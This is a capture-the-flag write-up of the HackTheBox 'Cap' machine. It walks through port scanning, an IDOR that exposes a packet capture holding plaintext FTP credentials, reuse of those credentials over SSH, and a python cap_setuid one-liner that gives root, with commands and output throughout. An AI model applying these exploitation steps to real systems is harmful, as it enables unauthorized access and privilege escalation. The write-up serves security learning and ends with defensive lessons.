Attack Diary: HackTheBox — Cap
⚠️ Disclaimer: This writeup documents the exploitation of the "Cap" machine on HackTheBox — a legal lab environment designed for security learning and research. All techniques are presented for educational purposes only. Never use these techniques against systems you don't have authorization to test.

Introduction
Today's target goes by the name Cap — an Easy-rated machine on HackTheBox. Easy or not, you never know until you try. This is my diary of the entire journey, from knowing nothing about the target to gaining full control.
Phase 1: Reconnaissance — Listen Before You Act
Every attack begins with information gathering. I didn't know what this target was running, which ports were open, or where the weaknesses were. First things first — listen.
First Knock — Naabu
I started with naabu, a fast port scanner by ProjectDiscovery, scanning all 65535 ports:
The result came back with only 2 ports: 21 (FTP) and 80 (HTTP).
┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.57 -p - -v
__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/
projectdiscovery.io
[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running CONNECT scan with non root privileges
10.129.195.57:21
10.129.195.57:80
[INF] Found 2 ports on host 10.129.195.57 (10.129.195.57)
But I didn't trust it. Experience has taught me that a single scan is never enough — especially when scanning through a VPN to a lab environment, where packet loss is common. I ran it again with the -verify flag:
┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.57 -p - -verify
__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/
projectdiscovery.io
[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running CONNECT scan with non root privileges
^C[INF] Received signal: interrupt, exiting gracefully...
[INF] Creating resume file: /root/.config/naabu/resume.cfg
10.129.195.57:21
10.129.195.57:22
10.129.195.57:80
[INF] Found 3 ports on host 10.129.195.57 (10.129.195.57)
This time, port 22 (SSH) appeared. First lesson: never trust a single scan.
I ran one more scan, this time forcing SYN scan for accuracy:
┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.195.57 -p - -s s -verify
__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/
projectdiscovery.io
[INF] Current naabu version 2.5.0 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
[INF] Running SYN scan with CAP_NET_RAW privileges
10.129.195.57:22
3f06:55e2:a81:c339:a0a:e2a:b2a9:8195:22
10.129.195.57:80
3f06:55e2:a81:c339:a0a:e2a:44ca:8195:80
10.129.195.57:21
3f06:55e2:a81:c339:a0a:e2a:4bb2:8195:21
[INF] Found 3 ports on host 10.129.195.57 (10.129.195.57)
[INF] Found 0 ports on host 3f06:55e2:a81:c339:a0a:e2a:44ca:8195 (3f06:55e2:a81:c339:a0a:e2a:44ca:8195)
[INF] Found 0 ports on host 3f06:55e2:a81:c339:a0a:e2a:b2a9:8195 (3f06:55e2:a81:c339:a0a:e2a:b2a9:8195)
[INF] Found 0 ports on host 3f06:55e2:a81:c339:a0a:e2a:4bb2:8195 (3f06:55e2:a81:c339:a0a:e2a:4bb2:8195)
All 3 ports confirmed: 21, 22, 80. An interesting detail — naabu v2.5.0 reported Running CONNECT scan with non root privileges even though I was running as root. This turned out to be a tool bug. Only after adding -s s did it switch to a proper SYN scan, reporting Running SYN scan with CAP_NET_RAW privileges.
Looking Closer — Nmap
Now that I knew the target had 3 doors open, I needed to find out what was behind each one. Nmap with -sC -sV to enumerate services and run default scripts:
┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -Pn -p 22,80,21 10.129.195.57 -T4
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-06 08:28 -0400
Nmap scan report for 10.129.195.57
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds
Results:
| Port | Service | Version |
|---|---|---|
| 21 | FTP | vsftpd 3.0.3 |
| 22 | SSH | OpenSSH 8.2p1 Ubuntu |
| 80 | HTTP | Gunicorn — "Security Dashboard" |
Three doors, three opportunities. FTP might allow anonymous login. SSH is a way in if I can find credentials. And a web app called "Security Dashboard" running on Gunicorn — sounds like something worth exploring.
Phase 1 complete. I know what the target is running. Time to dig deeper.
Phase 2: Scanning & Enumeration — Exploring the Target
I opened my browser and navigated to http://10.129.195.57. A security dashboard appeared — Security Dashboard — and I was already logged in as Nathan. The dashboard displayed statistics: Security Events, Failed Login Attempts, Port Scans. No login required — the application just let me in.
I started exploring the features. The /ip page displayed the output of ifconfig — leaking network interface information, internal IPs, and MAC addresses.
The /netstat page showed all active connections — I could even see the IPs of other users connecting to the server. In a real-world scenario, this information is gold for an attacker — it reveals internal network topology without any additional scanning.
But what caught my attention most was the /data/1 page. It displayed statistics for a network capture — packet counts, IP packets, TCP, UDP — along with a Download button to grab the PCAP file. And the URL contained a number: /data/1.
That number was an invitation.
Phase 3: Exploitation — When One Number Changes Everything
IDOR — Accessing Data That Isn't Mine
I changed the URL from /data/1 to /data/0.
The page loaded normally. No error message, no access check. But this time, the numbers were different — 72 packets instead of 1. This was clearly a capture from a different session, one that didn't belong to me. The server hadn't verified whether the current user was authorized to view this data — a textbook IDOR (Insecure Direct Object Reference) vulnerability.
I clicked Download.
PCAP Analysis — Secrets in the Packets
I opened the PCAP file in Wireshark. 72 packets — not many, but enough to tell a story. The first portion was normal HTTP traffic — someone browsing the web. But starting at packet 31, the story changed: an FTP session began.
FTP — a file transfer protocol born in an era when the internet didn't know what encryption was. Everything transmitted in plaintext, including usernames and passwords.
And there it was — clear as day:
Request: USER nathan
Response: 331 Please specify the password.
Request: PASS Buck3tH4TF0RM3!
Response: 230 Login successful.
I had credentials: nathan / Buck3tH4TF0RM3!
The FTP session also revealed that nathan tried to download notes.txt but failed (550 Failed to open file), then disconnected. It didn't matter — what I needed was already in my hands.
Verifying the Credentials — FTP First
With credentials in hand, I needed to verify they actually worked. I started with FTP since that's where they came from:
┌──(root㉿kali)-[/home/kali]
└─# ftp nathan@10.129.195.57
Connected to 10.129.195.57.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Password accepted. 230 Login successful. — the credentials were valid.
I ran ls -la to survey nathan's home directory. A few things stood out: .bash_history was symlinked to /dev/null — meaning command history was being discarded. Whether this was a security measure or an attempt to cover tracks, it told me someone had thought about operational security on this box.
ftp> ls -la
229 Entering Extended Passive Mode (|||5598|)
150 Here comes the directory listing.
drwxr-xr-x 3 1001 1001 4096 May 27 2021 .
drwxr-xr-x 3 0 0 4096 May 23 2021 ..
lrwxrwxrwx 1 0 0 9 May 15 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Feb 25 2020 .bashrc
drwx------ 2 1001 1001 4096 May 23 2021 .cache
-rw-r--r-- 1 1001 1001 807 Feb 25 2020 .profile
lrwxrwxrwx 1 0 0 9 May 27 2021 .viminfo -> /dev/null
-r-------- 1 1001 1001 33 Apr 06 11:29 user.txt
226 Directory send OK.
I spotted user.txt — the first flag. I downloaded it and confirmed: first objective complete.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||9303|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |**************************************************************************************************************| 33 171.41 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.12 KiB/s)
ftp> bye
221 Goodbye.
┌──(root㉿kali)-[/home/kali]
└─# cat user.txt
ced975**************************
But FTP is limited. I needed a proper shell to go further. Time for SSH.
Phase 4: Privilege Escalation — The Cap That Gave It All Away
SSH access as nathan gave me a proper shell. First things first — confirm who I am:
┌──(root㉿kali)-[/home/kali]
└─# ssh nathan@10.129.195.57
The authenticity of host '10.129.195.57 (10.129.195.57)' can't be established.
ED25519 key fingerprint is: SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:7: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.195.57' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
nathan@10.129.195.57's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Apr 6 17:24:59 UTC 2026
System load: 0.0
Usage of /: 36.8% of 8.73GB
Memory usage: 22%
Swap usage: 0%
Processes: 225
Users logged in: 0
IPv4 address for eth0: 10.129.195.57
IPv6 address for eth0: dead:beef::250:56ff:fe95:f327
=> There are 3 zombie processes.
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
A regular user. No special groups, no shortcuts. I checked if nathan had any sudo privileges:
nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.
Dead end. But this machine is called Cap for a reason. Time to check Linux capabilities:
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
There it was. Python 3.8 had the cap_setuid capability. In simple terms, this means any process running through Python 3.8 can change its User ID to anything — including UID 0, which is root.
This is a dangerous misconfiguration. Linux capabilities were designed to give binaries specific elevated privileges without granting full root access. But cap_setuid on an interpreter like Python is essentially handing over the keys to the kingdom — because Python can execute arbitrary code.
One line was all it took:
nathan@cap:~$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
Root. Game over.
oot@cap:~# cat /root/root.txt
470088**************************
Lessons Learned
This machine, despite being rated Easy, demonstrates a realistic attack chain that mirrors real-world breaches:
IDOR vulnerabilities are everywhere. A simple sequential ID in the URL gave access to another user's sensitive data. No authentication check, no authorization logic — just a number that anyone could change. In production systems, this is one of the most common and most overlooked vulnerabilities.
Plaintext protocols are a gift to attackers. FTP transmits everything — including credentials — in cleartext. Anyone capturing network traffic can read usernames and passwords as easily as reading a book. This is why modern environments enforce SFTP or FTPS.
Linux capabilities can be as dangerous as SUID. cap_setuid on an interpreter like Python is effectively the same as running it as root. System administrators should audit capabilities regularly using getcap and restrict them to only the binaries that absolutely need them.
Password reuse is the silent killer. Nathan used the same password for FTP and SSH. One compromised credential gave access to everything. In the real world, this is how attackers move laterally across entire networks.
In a real attack scenario, an attacker would proceed to establish persistence, set up command and control channels, and cover their tracks. But in this lab, the objective was clear: capture the flags and understand the vulnerabilities. Mission accomplished


